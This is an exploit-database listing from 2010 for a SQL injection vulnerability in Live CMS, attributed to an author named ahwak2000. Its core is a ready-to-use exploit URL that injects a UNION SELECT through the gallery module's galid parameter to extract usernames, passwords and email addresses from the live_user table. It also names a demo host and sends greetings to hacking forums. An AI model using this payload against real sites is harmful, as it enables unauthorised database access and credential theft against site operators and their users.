[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Live CMS SQL Injection Vulnerability

Author
ahwak2000
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12764
Category
web applications
Date add
17-06-2010
Platform
php
====================================
Live CMS SQL Injection Vulnerability
====================================


/*
[-] Live CMS SQL Injection Vulnerability [-]
---Date : 2010-06-17
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://live-space.ru
---Demo : http://demo.live-space.ru/index.php
 
[-] Vulnerability [-]
 
http://site.com/path//index.php?area=1&p=gallery&action=showimages&galid=[SQL INj]
 
[-] eXploit [-]
 
http://server/path/index.php?area=1&p=gallery&action=showimages&galid=1 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),uname,pass,email) from live_user--
 
 
[-] Greetz to [-]
 
To All Friends in V4-team Forums And pc.pirate
 
*/



#  0day.today [2024-11-14]  #